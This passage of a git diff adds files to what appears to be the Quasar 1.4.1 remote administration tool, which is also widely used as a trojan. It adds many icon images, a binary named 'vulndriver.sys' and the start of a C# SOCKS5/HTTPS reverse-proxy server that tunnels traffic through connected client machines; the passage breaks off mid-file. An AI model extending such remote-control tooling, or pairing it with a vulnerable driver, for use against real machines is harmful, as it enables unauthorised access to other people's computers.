a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_bullets.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_bullets.png new file mode 100755 index 0000000..1c74a14 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_bullets.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_numbers.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_numbers.png new file mode 100755 index 0000000..bee4389 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_numbers.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_lowercase.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_lowercase.png new file mode 100755 index 0000000..382a102 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_lowercase.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_bottom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_bottom.png new file mode 100755 index 0000000..4880c43 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_bottom.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_left.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_left.png new file mode 100755 index 0000000..b55482e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_left.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_right.png new file mode 100755 index 0000000..106edae Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_right.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_top.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_top.png new file mode 100755 index 0000000..c5c45b2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_top.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_replace.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_replace.png new file mode 100755 index 0000000..877f82f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_replace.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_signature.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_signature.png new file mode 100755 index 0000000..c72fd80 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_signature.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_smallcaps.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_smallcaps.png new file mode 100755 index 0000000..5b98a6e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_smallcaps.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_strikethrough.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_strikethrough.png new file mode 100755 index 0000000..612058a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_strikethrough.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_subscript.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_subscript.png new file mode 100755 index 0000000..1a2b010 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_subscript.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_superscript.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_superscript.png new file mode 100755 index 0000000..2fb2a7c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_superscript.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_underline.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_underline.png new file mode 100755 index 0000000..90d0df2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_underline.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_uppercase.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_uppercase.png new file mode 100755 index 0000000..8dcc2db Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_uppercase.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield.png new file mode 100755 index 0000000..11b24cd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_add.png new file mode 100755 index 0000000..ac99907 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_delete.png new file mode 100755 index 0000000..61f317b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_key.png new file mode 100755 index 0000000..2152fe4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_rename.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_rename.png new file mode 100755 index 0000000..067b86e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_rename.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_down.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_down.png new file mode 100755 index 0000000..3c832d4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_down.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_up.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_up.png new file mode 100755 index 0000000..2bd16cc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_up.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tick.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tick.png new file mode 100755 index 0000000..a9925a0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tick.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/time.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time.png new file mode 100755 index 0000000..911da3f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_add.png new file mode 100755 index 0000000..dcc45cb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_delete.png new file mode 100755 index 0000000..5bf8313 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_go.png new file mode 100755 index 0000000..d451ee0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/timeline_marker.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/timeline_marker.png new file mode 100755 index 0000000..a3fbddf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/timeline_marker.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit.png new file mode 100755 index 0000000..f54bf73 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_add.png new file mode 100755 index 0000000..b7fd4e6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_blue.png new file mode 100755 index 0000000..7b1142f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_delete.png new file mode 100755 index 0000000..3d72be2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_edit.png new file mode 100755 index 0000000..eb9a3dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_error.png new file mode 100755 index 0000000..fd1d449 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_go.png new file mode 100755 index 0000000..10137e5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tux.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tux.png new file mode 100755 index 0000000..bbefe2e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tux.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user.png new file mode 100755 index 0000000..79f35cc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_add.png new file mode 100755 index 0000000..deae99b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_comment.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_comment.png new file mode 100755 index 0000000..e54ebeb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_comment.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_delete.png new file mode 100755 index 0000000..acbb563 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_edit.png new file mode 100755 index 0000000..c1974cd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_female.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_female.png new file mode 100755 index 0000000..72d834f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_female.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_go.png new file mode 100755 index 0000000..0468cf0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_gray.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_gray.png new file mode 100755 index 0000000..8fd539e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_gray.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_green.png new file mode 100755 index 0000000..bf3a1e3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_green.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_orange.png new file mode 100755 index 0000000..b818127 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_orange.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_red.png new file mode 100755 index 0000000..c6f66e8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_suit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_suit.png new file mode 100755 index 0000000..b3454e1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/user_suit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard.png new file mode 100755 index 0000000..c02f315 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_add.png new file mode 100755 index 0000000..2a68453 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_delete.png new file mode 100755 index 0000000..b194b97 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_edit.png new file mode 100755 index 0000000..ab0f6e7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vcard_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector.png new file mode 100755 index 0000000..a1291c2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_add.png new file mode 100755 index 0000000..988770f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_delete.png new file mode 100755 index 0000000..ca139e0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/vector_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/wand.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wand.png new file mode 100755 index 0000000..44ccbf8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wand.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_clouds.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_clouds.png new file mode 100755 index 0000000..3f73eaa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_clouds.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_cloudy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_cloudy.png new file mode 100755 index 0000000..5856e1d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_cloudy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_lightning.png new file mode 100755 index 0000000..6f2eb87 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_rain.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_rain.png new file mode 100755 index 0000000..cb3d54d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_rain.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_snow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_snow.png new file mode 100755 index 0000000..45bbdf1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_snow.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_sun.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_sun.png new file mode 100755 index 0000000..0156c26 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_sun.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam.png new file mode 100755 index 0000000..af71c30 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_add.png new file mode 100755 index 0000000..f02fcfa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_delete.png new file mode 100755 index 0000000..bd6277f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_error.png new file mode 100755 index 0000000..2faa706 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world.png new file mode 100755 index 0000000..68f21d3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_add.png new file mode 100755 index 0000000..6d0d7f7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_delete.png new file mode 100755 index 0000000..ffcd115 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_edit.png new file mode 100755 index 0000000..00794d4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_go.png new file mode 100755 index 0000000..aee9c97 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_link.png new file mode 100755 index 0000000..b8edc12 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench.png new file mode 100755 index 0000000..5c8213f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench_orange.png new file mode 100755 index 0000000..565a933 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench_orange.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml.png new file mode 100755 index 0000000..da5dbf2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_add.png new file mode 100755 index 0000000..bbaf784 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_delete.png new file mode 100755 index 0000000..157b520 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_go.png new file mode 100755 index 0000000..43cf814 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_valid.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_valid.png new file mode 100755 index 0000000..d2e1cfb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_valid.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom.png new file mode 100755 index 0000000..908612e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_in.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_in.png new file mode 100755 index 0000000..cdf0a52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_in.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_out.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_out.png new file mode 100755 index 0000000..07bf98a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_out.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/vulndriver.sys b/Quasar-1.4.1/Quasar.Server/Resources/vulndriver.sys new file mode 100755 index 0000000..81004c7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/vulndriver.sys differ diff --git a/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyClient.cs b/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyClient.cs new file mode 100755 index 0000000..eada088 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,481 @@ +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.Sockets; +using System.Text; + +namespace Quasar.Server.ReverseProxy +{ + public class ReverseProxyClient + { + public enum ProxyType + { + Unknown, + SOCKS5, + HTTPS + }; + + public const int SOCKS5_DEFAULT_PORT = 3218; + public const byte SOCKS5_VERSION_NUMBER = 5; + public const byte SOCKS5_RESERVED = 0x00; + public const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2; + public const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0x00; + public const byte SOCKS5_AUTH_METHOD_GSSAPI = 0x01; + public const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 0x02; + public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 0x03; + public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 0x7f; + public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 0x80; + public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 0xfe; + public const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 0xff; + public const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0x00; + public const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 0x01; + public const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 0x02; + public const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 0x03; + public const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 0x04; + public const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 0x05; + public const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 0x06; + public const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 0x07; + public const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 0x08; + public const byte SOCKS5_ADDRTYPE_IPV4 = 0x01; + public const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 0x03; + public const byte SOCKS5_ADDRTYPE_IPV6 = 0x04; + + //Make it higher for more performance if really required... probably not + //Making this number higher will aswell increase ram usage depending on the amount of connections (BUFFER_SIZE x Connections = ~Ram Usage) + public const int BUFFER_SIZE = 8192; + + public Socket Handle { get; private set; } + public Client Client { get; private set; } + private bool _receivedConnResponse = false; + + //Is used for the handshake, Non-Blocking + private MemoryStream _handshakeStream; + + public long PacketsReceived { get; private set; } + public long PacketsSended { get; private set; } + + public long LengthReceived { get; private set; } + public long LengthSent { get; private set; } + + private byte[] _buffer; + + public int ConnectionId + { + get { return Handle.Handle.ToInt32(); } + } + + public string TargetServer { get; private set; } + public ushort TargetPort { get; private set; } + public bool IsConnected { get; private set; } + + private bool _isBindCommand; + private bool _isUdpCommand; + private bool _isConnectCommand; + private bool _isIpType; + private bool _isIPv6NameType; + private bool _isDomainNameType; + private bool _disconnectIsSend; + + public ProxyType Type { get; private set; } + private ReverseProxyServer Server; + public string HostName { get; private set; } + + public bool ProxySuccessful { get; private set; } + + public ReverseProxyClient(Client client, Socket socket, ReverseProxyServer server) + { + this.Handle = socket; + this.Client = client; + this._handshakeStream = new MemoryStream(); + this._buffer = new byte[BUFFER_SIZE]; + this.IsConnected = true; + this.TargetServer = ""; + this.Type = ProxyType.Unknown; + this.Server = server; + + try + { + socket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Disconnect(); + } + } + + private void AsyncReceive(IAsyncResult ar) + { + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + if (received > 5000 || _handshakeStream.Length + received > 5000) + { + //attack prevention of overflowing the HandshakeStream + //It's really impossible for Socks or HTTPS proxies to use even 5000 for Initial Packets + Disconnect(); + return; + } + + LengthReceived += received; + _handshakeStream.Write(_buffer, 0, received); + } + catch + { + Disconnect(); + return; + } + + byte[] payload = _handshakeStream.ToArray(); + + switch (PacketsReceived) + { + case 0: + { + //initial Socks packet + if (payload.Length >= 3) + { + string headerStr = Encoding.ASCII.GetString(payload); + + //check the proxy client + if (payload[0] == SOCKS5_VERSION_NUMBER) + { + Type = ProxyType.SOCKS5; + } + else if (headerStr.StartsWith("CONNECT") && headerStr.Contains(":")) + { + Type = ProxyType.HTTPS; + + //Grab here the IP / PORT + using (StreamReader sr = new StreamReader(new MemoryStream(payload))) + { + string line = sr.ReadLine(); + if (line == null) + break; + + //could have done it better with RegEx... oh well + string[] split = line.Split(new string[] {" "}, StringSplitOptions.RemoveEmptyEntries); + if (split.Length > 0) + { + try + { + string ipPort = split[1]; + this.TargetServer = ipPort.Split(':')[0]; + this.TargetPort = ushort.Parse(ipPort.Split(':')[1]); + + this._isConnectCommand = true; + this._isDomainNameType = true; + + //Send Command to client and wait for response from CommandHandler + Client.Send(new ReverseProxyConnect + { + ConnectionId = ConnectionId, + Target = TargetServer, + Port = TargetPort + }); + Server.CallonConnectionEstablished(this); + + return; //Quit receiving and wait for client's response + } + catch + { + Disconnect(); + } + } + } + } + else + { + break; + } + + if (CheckProxyVersion(payload)) + { + SendSuccessToClient(); + PacketsReceived++; + _handshakeStream.SetLength(0); + Server.CallonConnectionEstablished(this); + } + } + break; + } + case 1: + { + //Socks command + int MinPacketLen = 6; + if (payload.Length >= MinPacketLen) + { + if (!CheckProxyVersion(payload)) + return; + + this._isConnectCommand = payload[1] == 1; + this._isBindCommand = payload[1] == 2; + this._isUdpCommand = payload[1] == 3; + + this._isIpType = payload[3] == 1; + this._isDomainNameType = payload[3] == 3; + this._isIPv6NameType = payload[3] == 4; + + Array.Reverse(payload, payload.Length - 2, 2); + this.TargetPort = BitConverter.ToUInt16(payload, payload.Length - 2); + + if (_isConnectCommand) + { + if (_isIpType) + { + this.TargetServer = payload[4] + "." + payload[5] + "." + payload[6] + "." + payload[7]; + } + else if (_isDomainNameType) 